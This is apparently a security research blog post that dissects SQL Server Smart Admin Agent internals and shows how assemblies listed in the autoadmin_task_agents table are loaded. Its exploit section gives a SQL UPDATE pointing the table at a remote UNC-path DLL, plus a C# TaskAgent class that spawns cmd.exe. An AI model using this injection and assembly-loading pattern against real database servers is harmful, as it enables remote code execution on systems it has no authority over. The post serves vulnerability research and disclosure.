Database Security

SQL Server Smart Admin Agent RCE

Deep dive into SQL Server Smart Admin Agent internals and potential exploitation paths.

Batuhan Er

October 11, 20247 min read
SQL Server Smart Admin Agent RCE

SQL Server Smart Admin Agent

SQL Server is a widely used database management system developed by Microsoft. In this article, we will conduct a technical analysis of one of its core components: the SQL Agent.


SQL Agent

SQL Server includes several components, and one of them is the SQL Agent, a service that automates scheduled tasks within the database.

This service enables system administrators to manage backups, maintenance, and automation processes in a secure and structured manner.


Microsoft.SqlAutoAdmin.SqlAutoAdmin

The tasks associated with SQL Agent are handled by Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll, which contains multiple functionalities such as smartbackup and jobs.


LoadTaskAgentAssembly

Inside SmartAdminManager, the LoadTaskAgentAssembly method plays a significant role:

csharp
private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
{
    Assembly assembly = null;
    string text = taskAgentDescriptor.binaryName;
    if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
    {
        text = taskAgentDescriptor.binaryPath + "\" + text;
    }
    try
    {
        this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
        assembly = Assembly.LoadFrom(text);
    }
    catch (FileNotFoundException)
    {
        this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
    }
    if (null == assembly)
    {
        FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
        text = fileInfo.DirectoryName + "\" + taskAgentDescriptor.binaryName;
        try
        {
            this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
            assembly = Assembly.LoadFrom(text);
        }
        catch (FileNotFoundException)
        {
            this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
        }
        if (null != assembly)
        {
            taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
            this.UpdateTaskAgentPath(taskAgentDescriptor);
        }
    }
    return assembly;
}

Before understanding this method, we need to examine the nested struct TaskAgentDescriptor:

csharp
private struct TaskAgentDescriptor
{
    public string binaryName;
    public string binaryPath;
    public string className;
}

How this method works, in summary:

  1. assembly is initialized as null.
  2. binaryName is assigned to the text variable.
  3. If binaryPath is not empty, it is appended to binaryName.
  4. Assembly.LoadFrom attempts to load the specified assembly.

The critical part here is the use of Assembly.LoadFrom. While this method alone may not guarantee RCE (Remote Code Execution), it opens the door to NTLM relay scenarios.


LoadTaskAgentAssembly Trace

csharp
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
    Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
        Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4

GetTaskAgentDescriptors

csharp
private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
{
    SmartAdminManager.TaskAgentDescriptor[] array = null;
    this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
    try
    {
        this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
        int num = 0;
        using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
        {
            this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
            using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
            {
                using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
                {
                    while (sqlDataReader.Read())
                    {
                        array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
                    }
                }
            }
            this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
            using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
            {
                using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
                {
                    while (sqlDataReader2.Read())
                    {
                        array[num].binaryName = sqlDataReader2.GetString(1);
                        array[num].binaryPath = sqlDataReader2.GetString(2);
                        array[num].className = sqlDataReader2.GetString(3);
                        num++;
                    }
                }
            }
        }
    }

Run

run

The Run method processes the descriptors obtained via GetTaskAgentDescriptors and attempts to load the corresponding assemblies.

The critical section is here:

csharp
Type type = assembly.GetType(taskAgentDescriptor.className);
if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
{
    this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible.");
}
else
{
    this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
    this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
    this.taskAgents[i].Start(this);
    array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
    array[i].Name = this.taskAgents[i].GetName();
    array[i].Start();
}

In summary:

  1. assembly.GetType() retrieves the type using the className.
  2. If the type inherits from TaskAgent, it is instantiated.
  3. CreateInstance dynamically creates the class instance.
  4. Start() and DoWork() methods are invoked.

This mechanism creates an attack surface because of its reliance on reflection and type validation.


IsSubclassOf

The IsSubclassOf reflection method checks if a type inherits from another type. While it enforces some restrictions, in certain scenarios type bypass could still be possible.


TaskAgent Class

csharp
namespace Microsoft.SqlServer.SmartAdmin
{
    public abstract class TaskAgent
    {
        public abstract void Start(IServicesFactory services);
        public abstract void Stop();
        public abstract void DoWork();
        public abstract void ExternalJob(string command, LogBaseService jobLogger);

        public string GetName()
        {
            return this.taskAgentSignature;
        }

        protected string taskAgentSignature;
    }
}

Exploit Scenario

An attacker could use SQL Injection to manipulate the autoadmin_task_agents table and achieve RCE:

sql
UPDATE autoadmin_task_agents 
SET task_assembly_name = "class.dll", 
    task_assembly_path="\\\\remote-server\\ping.dll",
    className="Class1.Class1";

Then, a custom class inheriting from TaskAgent could be executed:

csharp
using Microsoft.SqlServer.SmartAdmin;
using System.Diagnostics;

namespace Class1
{
    public class Class1 : TaskAgent
    {
        public Class1()
        {
            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c ping localhost -t";
            process.Start();
        }

        public override void DoWork() {}
        public override void ExternalJob(string command, LogBaseService jobLogger) {}
        public override void Start(IServicesFactory services) {}
        public override void Stop() {}
    }
}

rce


Conclusion

The TaskAgent mechanism within Microsoft.SqlServer.SmartAdmin can be abused to achieve remote code execution (RCE).

The reliance on Assembly.LoadFrom and reflection-based instantiation (CreateInstance) creates significant security risks if not properly mitigated.

Stay Ahead of Cyber Threats

Get the latest cybersecurity insights, threat intelligence, and expert analysis delivered directly to your inbox. Join security professionals worldwide who trust HawkTrace for cutting-edge security knowledge.

Updated Daily
Expert Authors
Industry Leading